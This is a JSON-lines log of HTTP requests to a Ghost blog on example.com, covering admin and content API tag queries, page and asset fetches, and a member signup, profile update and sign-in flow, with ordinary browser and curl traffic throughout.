{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Ashell-tips-htaccess%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Anews%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/built/screen.css?v=xPGozQS2SFMZDlmQ", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/cards.min.css?v=WwnU9jw5ancNC8Gc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/built/source.js?v=33sa4-qy5thAFPQH", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/fonts/inter-roman.woff2?v=OecsB5TBLy27FKD2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/cards.min.js?v=mLGdiz8Ij-Hk3ydN", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/comment-counts.min.js?v=oFYkaGLdiMqB8VN9", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/member-attribution.min.js?v=AKG4hWena9j3yX3I", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w320/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/post.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w1200/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/python3/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/powershell/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
